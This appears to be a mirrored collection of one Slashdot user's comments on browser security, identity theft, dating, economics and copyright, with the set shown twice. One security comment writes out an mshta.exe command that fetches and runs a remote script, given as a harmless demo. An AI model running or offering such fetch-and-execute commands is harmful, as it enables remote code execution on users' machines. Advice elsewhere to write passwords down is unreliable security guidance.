And that's where we disagree I think. I see nothing wrong with Apple or Mozilla's mechanisms, because it's one method and the user gets used to what they would see as suspicious activity, and realize that there's a way to run a potentially harmful application inside another.
With many of MS's exploits, that is not the case. The user has no idea how software gets installed. While XP SP2 has tried to consolidate it to a popup bar at the top of the IE window, it's still not a perfect solution.
Not to mention the ridiculous ease in which someone can compromise a station. For example: "mshta.exe http://sec.gravito.com/hta3/?test.exe+RUN" can be typed into any command window and will run an HTA html application using VBS to pop open a CD-ROM. If I can do that, who knows what else I could do.
There are certain services that governments should be providing, not private companies who cut corners and use your tax to make themselves richer while providing the absolute minimum quality of service they can get away with.
From the article: The victims in this crime--the state work force agencies that tirelessly oversee our unemployment insurance programs and the U.S. Department of Labor--are reluctant to discuss this topic for obvious reasons.
So wait a minute, let me get this straight. We have private companies like Wells Fargo and VISA admitting that credit cards and bank accounts were "hacked". And we have public, government institutions remaining "tight-lipped" about the extent of identity theft.
Which one of these two is the more responsible here? Which one of these is "minimum quality of service?"
While I agree in the Microsoft issue, simply due to the various exploitation methods using Visual Basic Scripting, I think I would disagree with XPI and the "open safe files after downloading".
The real issue is the use of web scripting to hijack user clicks or make running executables something that can be done from malicious javascripts or vbscripts. XP SP2's method of dropping down a bar that requires you right-click on it to install the software is only one order of magnitude of complexity.
Perhaps instead, we should be looking at the sheer power that is given to vbscript and jscript, and instead look at limiting the "new window" capabilities. Unfortunately for security advocates, popups are now used in well over a majority of web applications. I don't see that changing anytime soon, either.
I've never understood the reason to link to ZDnet first. Especially when we are all a technical crowd and can deduce the severity on our own.
In my own opinion, the security community has been really scrambling to find exploits and vulnerabilities since the release of Windows XP SP2, which, despite a lot of compatibility issues with common software, has been very effective in slowing down the growth of zombie networks. In short, Microsoft finally got something right, and those that are in IT security for the sole reason of bashing MS to make a buck, are having a hard time doing so.
This is a phising technique that can be used to get a username/password from like a credit card or bank website, but that's about it. You'd be hard pressed to get this to compromise a local machine, although I'm interested in what would happen if someone tried calling a local zone page (like a help file) and then executing the javascript from that page. There was a similar exploit that used this delayed tactic last year that Microsoft didn't fix for probably 3 months. It was a 0-day exploit too, it was found in the wild, spreading via IRC, before anyone reported the vulnerability.
And how long will it take until someone figures out a way to manipulate the system to earn the credits without actually sharing? I can see it now--'You have 20,000,000 credits, which is enough to purchase 500,000 songs.'
And for those of us that already have most of the common songs? My first day of use may look something like this:
Welcome to Peer Impact! You have downloaded 5 songs for a total of 500 PI bucks! You are currently sharing 13488 songs for a total credit of 3372 PI bucks.
<wolf> 1. Save every Free Credit Card Offer you get, Put it in pile A <wolf> 2. Save every Free Coupon You get, put that in pile B <wolf> 3. Now open the credit card mail from pile A and find the Business Reply Mail Envelope. <wolf> 4. Take the coupons from pile B and stuff them in the envelope you hold in your hand. <wolf> 5. Drop the stuffed to the brim envelopes in your mail and walk away whistling. <wolf> I have now received two phone calls from the credit card companies telling me that they received a stuffed envelope with coupons rather then my application. They informed me that it they are not pleased that they footed the bill for the crap I sent them. I reply with "It says Business Reply Mail" I'm suggesting coupons to you to ensure that your business is more successful. They promptly hang up on me. <wolf> Now, I did this for about a month before it got boring, so I got an added idea! I added exactly 33 cents worth of pennies to the envelope so they paid EXTRA due to the weight. I got a call informing me about the money, I said it was a mistake and I demanded my change back. After yelling at the clerk and then to the supervisor they agreed to my demands and cut me a check for the money. I hold in my hand at this very moment a check from GTE Visa for exactly 33 cents.
We've had windows for hundreds of years, though. Where's the rock-resistant one that costs the same as the original? This "fallacy" is still quite prevelant today. Especially with GE and the light-bulbs that last a lifetime, and the ones that last about a year.
Well, I don't mind. I'm certainly not going to be favorable towards you for piercings, but if you're qualified, that's all that matters.\
My boss would. She's got a teenage son that came home with tatoos cause the druggies next door bribed him into getting one.
My boss's boss would. He's went to church for over 40 years, recites from scripture in meetings, and would rather keep women to full length dresses well below the knees.
My boss's boss's boss wouldn't mind either. He's got a 30 year old son that has tatoos and his mailman has an earring, so he's "hip" to all the new kid stuff.
Keep in mind, you just cut your chances of getting the job by %50 by deciding to get something "non-conformist" that only shows you conform to the standards of your peers. Imagine if you could look at someone and immediately know if they've done drugs in the past, would that increase or decrease their possibility of getting a job? While tatoos won't necessarily *hurt* your chances, they certainly don't help. You could use the fact they rejected you because of them as an indicator that you'd probably hate the job anyway, though.
See, the only thing I've bothered joining is the Libertarian party. And the women there are 1) Not bright, and 2) Not hot.
Granted, there are exceptions, but I was never really all that involved to bother getting to know any of them.
Mensa really doesn't interest me. Just too much arrogance. Sierra Club doesn't interest me from a political or philosophical aspect. And I've already graduated.
Granted. I know pleny of attractive women, but when it comes down to it, the best ones are already dating. I think I should probably blame the university I work at.
Okay. I've ALMOST had a similar situation. The difference is, the girl that wants to keep me "on reserve" never introduces me to her friends. I think that it is because I'm supposed to be that "secret". And it frustrates me to hell, cause I can meet women, but I can't meet any of their friends.
"Good Neighbors" (aka "The Good Life") is arguably the best and most successful British to American sitcom of all time. I based this on my parents love of the show and the forced watching I had to do as a child. If my parents made me watch it, it must have been good for me.
Intelligence, introversion, and individualistic tendencies (standard geek traits) != Sexy.
Even attractive geeks can confirm the accuracy of the above statement.
I'll go even further to establish the real problem with being a geek. You can't attempt to "court" a lady, or even flirt with them without looking your official geek status.
Since there are no, and I absolutely mean: no, women out there willing to "court" a man, your life will consist of waiting for a girl to talk to you, and/or maybe getting lucky cause a chick four years younger than you feels sorry for you or can at least use your age to make the other girls jealous of her.
I want to establish something VERY clear for the good of geekdom: do not believe the hogwash in these articles by (mainly) women in fashion magazines and teen glamour shows on TV. The second they tell the girls this stuff, the girls consider it "old news" or their idea of a geek is someone like the article mentioned, Tiger Woods, or Clay Aiken. I'm starting to think that the media's definition of a geek is "someone who hasn't had a run-in with the law"; as if geeks don't do enough lines of coke or wife-beatings.
Please keep in mind that batteries and electricity will not be around forever and therefore, although you must pay 70 bucks for it, calculators are not allowed on the exams, just the homework.
Because everyone knows that they don't used calculators or computer in the "real world". It's much different there.
In the educational industry, my clients have to worry about audits in order to stay accredited. These audits are now switching to a 3-month period on passwords. Against common security protocols, I'm telling my users to write the passwords down, even going so far as to say to keep their passwords in a notepad locked in their desk or cabinet, to avoid increasing the average "I don't remember my password" calls to their help desk staff from 5 per day to maybe 1 per day.
Granted, any security expert can tell you that 70% of corporate theft comes from the inside, but the auditors must not know about this, because they are sticking to the 90-day insanity. Help desk staff can only be expected to spend so much time on ridiculous things like this.
Maybe they'll realize that all an employee has to do is look at the pink stickie in the top left of their coworker's monitor to access the 50 bajillion social security numbers of all the students, but hey, I guess Frannie in marketing (who is leaving her job to go work at a Rolex watch operation in Toronto) is just as trustworthy as Pam in records (who's worked for the university for the last quarter-century).
I am not a geneticist. Hell, I'm not even particularly bright, but I think common sense is with me today.
A team of scientists at the University of Utah has proposed that the unusual pattern of genetic diseases seen among Jews of central or northern European origin, or Ashkenazim, is the result of natural selection for enhanced intellectual ability.
Central or Northern European... so... like Germany. Ok.
The selective force was the restriction of Ashkenazim in medieval Europe to occupations that required more than usual mental agility, the researchers say in a paper that has been accepted by the Journal of Biosocial Science, published by Cambridge University Press in England.
Hunh?
So let's say they are testing on Ashkenazim Jews aged maybe from 5 to 60. Sound reasonable? So birthdates of 2000 all the way back to the region of 1945.
Does anyone remember from high school (and even non-USians should be able to figure this one out) what was going on from 1939-1945? Does anyone remember what orders one of the integral actors of the 1939-1945 was giving for his staff to do with regards to the Ashkenazim Jews?
Does it really take a team of scientists to realize that the more intelligent Ashkenazim are around yet today?
I think it is. Because the government provides both the incentive AND the mechanism for proving said identity. Everyone is expected to know their social security number. If it wasn't an issue, then people wouldn't know and wouldn't care. It's like providing a P2P framework for a new computer user and telling them that just because it can be used to download copyrighted material, it shouldn't.
Nevermind, I should have RTFA. Wish I could retract that comment now.
The reason why this hasn't been patched in IE and might never get patched in IE is because a user would have to be extremely stupid to not noticed the website INSIDE their other website. We've all seen this before, and occasionally deal with it from time to time. The only security risk here is having something like the "Help and Support Center" open in Windows XP and having IE or Firefox control the frames to try to load an application to your computer. If it's a trusted site, then it'll install without asking.
But then again, who here puts sites in "trusted zone" that have frames? I don't even put Microsoft websites in my trusted zones.
There seems to be this prevalent "the free market" will solve anything. Seems like no-one knows their history enough that when "the free market" ruled during the beginning of the industrial era factory workers were more or less slaves (they got paid but no boarding) to the wims of the factory owners.
Oh really? They couldn't work on the farm instead of on the assembly line? They were "born" into their job (like the former Soviet Union) with no chance to ever resign or quit?
Only after government restrictions and worker unions was a balance between the two met. (I guess there will never be complete balance, just less unfair in one way or the other.)
Please, by all means, give an example. It's hard to refute the issue when I've yet to see someone with a valid complaint about a specific instance (pay, working conditions, etc.) make the argument. Because, you know that I will be able to find an instance where the government intervened originally on behalf of the corporation to perpetuate the working conditions.
Assuming you're going to go the working conditions for the pay route: I would also have to argue, what is so different about working conditions then as opposed to now? For example, IBP in Iowa employs thousands of Mexicans (I don't even have to pretend they are legal immigrants, everyone knows they are not, and IBP and customs have a "working agreement") to work cutting gizzards and beaks out of chickens on a minute-by-minute basis. The work is sick and disgusting and, if you've ever been inside one of the plants, it's got the smell of something that is a cross between an "old folk's home" and a funeral home.
Arguably, these individuals are working in the worse conditions in the nation, and are only paid maybe 12 bucks an hour, and many of them struggle to maintain their sanity. But where are the unions stepping down to protect these Mexicans? They died out, because people were willing to work without unionizing, and many thought the company put forth a good faith effort to keep their work environment clean for them.
You see, what you perceive as unreasonable, is just something you don't want to do. There is someone who *does* want to do the job, and they'll most likely get compensated justly for it. Just as competition occurs in the market, so too does it occur in the workforce. Assuming no outside government influence or intervention, and you've got a reasonable system.
The reason companies do this is because they have exactly one reason to exist. To Make Money. There are no other objectives for a company. Furthermore if the company is on the stock exchange the board has a resposibility to their owners (stock holders) to Make More Money. If it were legal a corporate entity would have no qualms about killing off half of it's workers as well as consumers in the process, as long as they made more money that way.
I like this sophomoric argument. Why? Because it embodies the ultimate Green and socialist fear that corporations want to see their employees suffer. Yet these individuals, would like to see more taxes, more government spending, more government regulation over industries that eventually don't exist anymore, yet are still "regulated" by a hundred-thousand person branch of the government.
What example have I?
Let's try the auto industry for starters. Ford and GM are now "junk bond" status. In case you don't know what that means, it's essentially saying that their creditors own more of the company than even stock and bond holders. Unless they file for bankruptcy, they will be dissolved. What then, happens to the myriad of government jobs relying on regulations of the auto industry? Granted, we'll still have cars, but they'll be imported or Saturns (for lack of a better example).
The assumption by Greens, environmentalists, and socialists is that corporations and industries will always exist. They seem to ignore the fact that
If we create legistlation that makes losing customer's personal information a criminal offense, then maybe these giant megalomerates will stop collecting (and abusing) it.
I always see these kinds of comments and have to wonder: what is it about the US judicial system that makes the US legislative system seem like the cure for all social ills?
Look at what the US legislative system has gotten us: social security numbers (ok executive branch helped here too), DMCA, laws against bankruptcy, etc. How exactly is pressuring legislators going to do anything but make them push harder for things like a national ID card? What makes you think that credit card companies and banks aren't going to then add a box for that?
What about the guy that buys one, reverse engineers it, and releases the plans as open source? According to your model, IP law would still protect the inventor, and damn the copyright infringer, regardless of if they have the means to produce the product.
One needs to be careful defining capitalism with regard to the DMCA. The US has, at best, a mixed economy in which the government plays a huge role. What's funny is those that claim to hate socialism would call the US economic system "socialist", while those who hate capitalism would call the US economic system "capitalist". Ironically, the only difference between the two views is which side instigated the marriage first.
capitalism, economic system based on private ownership of the means of production, in which personal profit can be acquired through investment of capital and employment of labor. Capitalism is grounded in the concept of free enterprise, which argues that government intervention in the economy should be restricted and that a free market, based on supply and demand, will ultimately maximize consumer welfare.
The "government restriction", for many libertarians (often seen as the biggest promoters of true capitalism) at least, would include the argument that the government should not aid OR abet any enterprise, in addition to not restricting them.
The real issue comes down to why corporations feel that "trampling our rights" is okay. Well, you needn't look any further than the myraid of government licenses, regulations, and tax laws to see why businesses feel justified in harming the citizens that work for them. Our "us vs. them" mentality has only turned competing businesses to do the same back to us.
What we need to see is a seperation of corporation and state. We need to have a government that doesn't exist to promote any corporate policy just like our government doesn't (or at least, shouldn't) promote any religion. Unfortunately, there is a false belief that government intervention and regulations on businesses actually work for any real change in this direction to occur.
I had high hopes that our generation would be the one to establish the seperation of corporation and state, but I continually see this misconception of the US economic system as being "capitalist" as detrimental to any real progress. The US economy is FAR from capitalism, there is HEAVY government intervention and involvement.
About the libertarian comment: There is the start of a revolution in libertarian (note, small "L" to indicate philosophical as opposed to political party) thinking that copyright laws actually serve to "harm" rights of the individual. I belong to this group of thinking and if you're interested, I would encourage you to read up on it.
The alpha release isn't far away, but the development team could use some programming help, if you're available.
I would think that they are having problems getting programming support mainly because there are not enough people that see the flash engine as such a travesty to be closed source when it is given out for free, anyway. Same goes for Java.
The only problem with replacing free beer with free speech is that if you have the beer, you're more likely to slur the speech or forget about it altogether.
There is not enough incentive for this project to flourish.
Slashdot Mirror
And that's where we disagree I think. I see nothing wrong with Apple or Mozilla's mechanisms, because it's one method and the user gets used to what they would see as suspicious activity, and realize that there's a way to run a potentially harmful application inside another.
With many of MS's exploits, that is not the case. The user has no idea how software gets installed. While XP SP2 has tried to consolidate it to a popup bar at the top of the IE window, it's still not a perfect solution.
Not to mention the ridiculous ease in which someone can compromise a station. For example:
"mshta.exe http://sec.gravito.com/hta3/?test.exe+RUN" can be typed into any command window and will run an HTA html application using VBS to pop open a CD-ROM. If I can do that, who knows what else I could do.
There are certain services that governments should be providing, not private companies who cut corners and use your tax to make themselves richer while providing the absolute minimum quality of service they can get away with.
From the article:
The victims in this crime--the state work force agencies that tirelessly oversee our unemployment insurance programs and the U.S. Department of Labor--are reluctant to discuss this topic for obvious reasons.
So wait a minute, let me get this straight. We have private companies like Wells Fargo and VISA admitting that credit cards and bank accounts were "hacked". And we have public, government institutions remaining "tight-lipped" about the extent of identity theft.
Which one of these two is the more responsible here? Which one of these is "minimum quality of service?"
And you don't get to "translate" them to the proprietary DRM'd formate either, I would guess. Which means that this "new technology" is DOA.
While I agree in the Microsoft issue, simply due to the various exploitation methods using Visual Basic Scripting, I think I would disagree with XPI and the "open safe files after downloading".
The real issue is the use of web scripting to hijack user clicks or make running executables something that can be done from malicious javascripts or vbscripts. XP SP2's method of dropping down a bar that requires you right-click on it to install the software is only one order of magnitude of complexity.
Perhaps instead, we should be looking at the sheer power that is given to vbscript and jscript, and instead look at limiting the "new window" capabilities. Unfortunately for security advocates, popups are now used in well over a majority of web applications. I don't see that changing anytime soon, either.
If Secunia is reporting it, why not link directly to Secunia?
n _vulnerability_test
http://secunia.com/multiple_browsers_dialog_origi
I've never understood the reason to link to ZDnet first. Especially when we are all a technical crowd and can deduce the severity on our own.
In my own opinion, the security community has been really scrambling to find exploits and vulnerabilities since the release of Windows XP SP2, which, despite a lot of compatibility issues with common software, has been very effective in slowing down the growth of zombie networks. In short, Microsoft finally got something right, and those that are in IT security for the sole reason of bashing MS to make a buck, are having a hard time doing so.
This is a phising technique that can be used to get a username/password from like a credit card or bank website, but that's about it. You'd be hard pressed to get this to compromise a local machine, although I'm interested in what would happen if someone tried calling a local zone page (like a help file) and then executing the javascript from that page. There was a similar exploit that used this delayed tactic last year that Microsoft didn't fix for probably 3 months. It was a 0-day exploit too, it was found in the wild, spreading via IRC, before anyone reported the vulnerability.
And for those of us that already have most of the common songs? My first day of use may look something like this:
<wolf> 1. Save every Free Credit Card Offer you get, Put it in pile A
<wolf> 2. Save every Free Coupon You get, put that in pile B
<wolf> 3. Now open the credit card mail from pile A and find the Business Reply Mail Envelope.
<wolf> 4. Take the coupons from pile B and stuff them in the envelope you hold in your hand.
<wolf> 5. Drop the stuffed to the brim envelopes in your mail and walk away whistling.
<wolf> I have now received two phone calls from the credit card companies telling me that they received a stuffed envelope with coupons rather then my application. They informed me that it they are not pleased that they footed the bill for the crap I sent them. I reply with "It says Business Reply Mail" I'm suggesting coupons to you to ensure that your business is more successful. They promptly hang up on me.
<wolf> Now, I did this for about a month before it got boring, so I got an added idea! I added exactly 33 cents worth of pennies to the envelope so they paid EXTRA due to the weight. I got a call informing me about the money, I said it was a mistake and I demanded my change back. After yelling at the clerk and then to the supervisor they agreed to my demands and cut me a check for the money. I hold in my hand at this very moment a check from GTE Visa for exactly 33 cents.
We've had windows for hundreds of years, though. Where's the rock-resistant one that costs the same as the original? This "fallacy" is still quite prevelant today. Especially with GE and the light-bulbs that last a lifetime, and the ones that last about a year.
Well, I don't mind. I'm certainly not going to be favorable towards you for piercings, but if you're qualified, that's all that matters.\
My boss would. She's got a teenage son that came home with tatoos cause the druggies next door bribed him into getting one.
My boss's boss would. He's went to church for over 40 years, recites from scripture in meetings, and would rather keep women to full length dresses well below the knees.
My boss's boss's boss wouldn't mind either. He's got a 30 year old son that has tatoos and his mailman has an earring, so he's "hip" to all the new kid stuff.
Keep in mind, you just cut your chances of getting the job by %50 by deciding to get something "non-conformist" that only shows you conform to the standards of your peers. Imagine if you could look at someone and immediately know if they've done drugs in the past, would that increase or decrease their possibility of getting a job? While tatoos won't necessarily *hurt* your chances, they certainly don't help. You could use the fact they rejected you because of them as an indicator that you'd probably hate the job anyway, though.
Good luck.
See, the only thing I've bothered joining is the Libertarian party. And the women there are 1) Not bright, and 2) Not hot.
Granted, there are exceptions, but I was never really all that involved to bother getting to know any of them.
Mensa really doesn't interest me. Just too much arrogance. Sierra Club doesn't interest me from a political or philosophical aspect. And I've already graduated.
Granted. I know pleny of attractive women, but when it comes down to it, the best ones are already dating. I think I should probably blame the university I work at.
Okay. I've ALMOST had a similar situation. The difference is, the girl that wants to keep me "on reserve" never introduces me to her friends. I think that it is because I'm supposed to be that "secret". And it frustrates me to hell, cause I can meet women, but I can't meet any of their friends.
"Good Neighbors" (aka "The Good Life") is arguably the best and most successful British to American sitcom of all time. I based this on my parents love of the show and the forced watching I had to do as a child. If my parents made me watch it, it must have been good for me.
Intelligence, introversion, and individualistic tendencies (standard geek traits) != Sexy.
Even attractive geeks can confirm the accuracy of the above statement.
I'll go even further to establish the real problem with being a geek. You can't attempt to "court" a lady, or even flirt with them without looking your official geek status.
Since there are no, and I absolutely mean: no, women out there willing to "court" a man, your life will consist of waiting for a girl to talk to you, and/or maybe getting lucky cause a chick four years younger than you feels sorry for you or can at least use your age to make the other girls jealous of her.
I want to establish something VERY clear for the good of geekdom: do not believe the hogwash in these articles by (mainly) women in fashion magazines and teen glamour shows on TV. The second they tell the girls this stuff, the girls consider it "old news" or their idea of a geek is someone like the article mentioned, Tiger Woods, or Clay Aiken. I'm starting to think that the media's definition of a geek is "someone who hasn't had a run-in with the law"; as if geeks don't do enough lines of coke or wife-beatings.
Attention class:
Please keep in mind that batteries and electricity will not be around forever and therefore, although you must pay 70 bucks for it, calculators are not allowed on the exams, just the homework.
Because everyone knows that they don't used calculators or computer in the "real world". It's much different there.
In the educational industry, my clients have to worry about audits in order to stay accredited. These audits are now switching to a 3-month period on passwords. Against common security protocols, I'm telling my users to write the passwords down, even going so far as to say to keep their passwords in a notepad locked in their desk or cabinet, to avoid increasing the average "I don't remember my password" calls to their help desk staff from 5 per day to maybe 1 per day.
Granted, any security expert can tell you that 70% of corporate theft comes from the inside, but the auditors must not know about this, because they are sticking to the 90-day insanity. Help desk staff can only be expected to spend so much time on ridiculous things like this.
Maybe they'll realize that all an employee has to do is look at the pink stickie in the top left of their coworker's monitor to access the 50 bajillion social security numbers of all the students, but hey, I guess Frannie in marketing (who is leaving her job to go work at a Rolex watch operation in Toronto) is just as trustworthy as Pam in records (who's worked for the university for the last quarter-century).
Central or Northern European... so... like Germany. Ok.
Hunh?
So let's say they are testing on Ashkenazim Jews aged maybe from 5 to 60. Sound reasonable? So birthdates of 2000 all the way back to the region of 1945.
Does anyone remember from high school (and even non-USians should be able to figure this one out) what was going on from 1939-1945? Does anyone remember what orders one of the integral actors of the 1939-1945 was giving for his staff to do with regards to the Ashkenazim Jews?
Does it really take a team of scientists to realize that the more intelligent Ashkenazim are around yet today?
Wow, and I did it without violating Godwin's law!
I think it is. Because the government provides both the incentive AND the mechanism for proving said identity. Everyone is expected to know their social security number. If it wasn't an issue, then people wouldn't know and wouldn't care. It's like providing a P2P framework for a new computer user and telling them that just because it can be used to download copyrighted material, it shouldn't.
Nevermind, I should have RTFA. Wish I could retract that comment now.
The reason why this hasn't been patched in IE and might never get patched in IE is because a user would have to be extremely stupid to not noticed the website INSIDE their other website. We've all seen this before, and occasionally deal with it from time to time. The only security risk here is having something like the "Help and Support Center" open in Windows XP and having IE or Firefox control the frames to try to load an application to your computer. If it's a trusted site, then it'll install without asking.
But then again, who here puts sites in "trusted zone" that have frames? I don't even put Microsoft websites in my trusted zones.
It's not the same kind of thing, though, as this can be done with just one Mozilla/Firefox frame. It is somewhat similar.
There seems to be this prevalent "the free market" will solve anything. Seems like no-one knows their history enough that when "the free market" ruled during the beginning of the industrial era factory workers were more or less slaves (they got paid but no boarding) to the wims of the factory owners.
Oh really? They couldn't work on the farm instead of on the assembly line? They were "born" into their job (like the former Soviet Union) with no chance to ever resign or quit?
Only after government restrictions and worker unions was a balance between the two met. (I guess there will never be complete balance, just less unfair in one way or the other.)
Please, by all means, give an example. It's hard to refute the issue when I've yet to see someone with a valid complaint about a specific instance (pay, working conditions, etc.) make the argument. Because, you know that I will be able to find an instance where the government intervened originally on behalf of the corporation to perpetuate the working conditions.
Assuming you're going to go the working conditions for the pay route: I would also have to argue, what is so different about working conditions then as opposed to now? For example, IBP in Iowa employs thousands of Mexicans (I don't even have to pretend they are legal immigrants, everyone knows they are not, and IBP and customs have a "working agreement") to work cutting gizzards and beaks out of chickens on a minute-by-minute basis. The work is sick and disgusting and, if you've ever been inside one of the plants, it's got the smell of something that is a cross between an "old folk's home" and a funeral home.
Arguably, these individuals are working in the worse conditions in the nation, and are only paid maybe 12 bucks an hour, and many of them struggle to maintain their sanity. But where are the unions stepping down to protect these Mexicans? They died out, because people were willing to work without unionizing, and many thought the company put forth a good faith effort to keep their work environment clean for them.
You see, what you perceive as unreasonable, is just something you don't want to do. There is someone who *does* want to do the job, and they'll most likely get compensated justly for it. Just as competition occurs in the market, so too does it occur in the workforce. Assuming no outside government influence or intervention, and you've got a reasonable system.
The reason companies do this is because they have exactly one reason to exist. To Make Money. There are no other objectives for a company. Furthermore if the company is on the stock exchange the board has a resposibility to their owners (stock holders) to Make More Money. If it were legal a corporate entity would have no qualms about killing off half of it's workers as well as consumers in the process, as long as they made more money that way.
I like this sophomoric argument. Why? Because it embodies the ultimate Green and socialist fear that corporations want to see their employees suffer. Yet these individuals, would like to see more taxes, more government spending, more government regulation over industries that eventually don't exist anymore, yet are still "regulated" by a hundred-thousand person branch of the government.
What example have I?
Let's try the auto industry for starters. Ford and GM are now "junk bond" status. In case you don't know what that means, it's essentially saying that their creditors own more of the company than even stock and bond holders. Unless they file for bankruptcy, they will be dissolved. What then, happens to the myriad of government jobs relying on regulations of the auto industry? Granted, we'll still have cars, but they'll be imported or Saturns (for lack of a better example).
The assumption by Greens, environmentalists, and socialists is that corporations and industries will always exist. They seem to ignore the fact that
Ummm..
You weren't perchance on Flight 51 to Amsterdam out of Quebec, were you?
If we create legistlation that makes losing customer's personal information a criminal offense, then maybe these giant megalomerates will stop collecting (and abusing) it.
I always see these kinds of comments and have to wonder: what is it about the US judicial system that makes the US legislative system seem like the cure for all social ills?
Look at what the US legislative system has gotten us: social security numbers (ok executive branch helped here too), DMCA, laws against bankruptcy, etc. How exactly is pressuring legislators going to do anything but make them push harder for things like a national ID card? What makes you think that credit card companies and banks aren't going to then add a box for that?
What about the guy that buys one, reverse engineers it, and releases the plans as open source? According to your model, IP law would still protect the inventor, and damn the copyright infringer, regardless of if they have the means to produce the product.
One definition of capitalism states:
The "government restriction", for many libertarians (often seen as the biggest promoters of true capitalism) at least, would include the argument that the government should not aid OR abet any enterprise, in addition to not restricting them.
The real issue comes down to why corporations feel that "trampling our rights" is okay. Well, you needn't look any further than the myraid of government licenses, regulations, and tax laws to see why businesses feel justified in harming the citizens that work for them. Our "us vs. them" mentality has only turned competing businesses to do the same back to us.
What we need to see is a seperation of corporation and state. We need to have a government that doesn't exist to promote any corporate policy just like our government doesn't (or at least, shouldn't) promote any religion. Unfortunately, there is a false belief that government intervention and regulations on businesses actually work for any real change in this direction to occur.
I had high hopes that our generation would be the one to establish the seperation of corporation and state, but I continually see this misconception of the US economic system as being "capitalist" as detrimental to any real progress. The US economy is FAR from capitalism, there is HEAVY government intervention and involvement.
About the libertarian comment: There is the start of a revolution in libertarian (note, small "L" to indicate philosophical as opposed to political party) thinking that copyright laws actually serve to "harm" rights of the individual. I belong to this group of thinking and if you're interested, I would encourage you to read up on it.
The alpha release isn't far away, but the development team could use some programming help, if you're available.
I would think that they are having problems getting programming support mainly because there are not enough people that see the flash engine as such a travesty to be closed source when it is given out for free, anyway. Same goes for Java.
The only problem with replacing free beer with free speech is that if you have the beer, you're more likely to slur the speech or forget about it altogether.
There is not enough incentive for this project to flourish.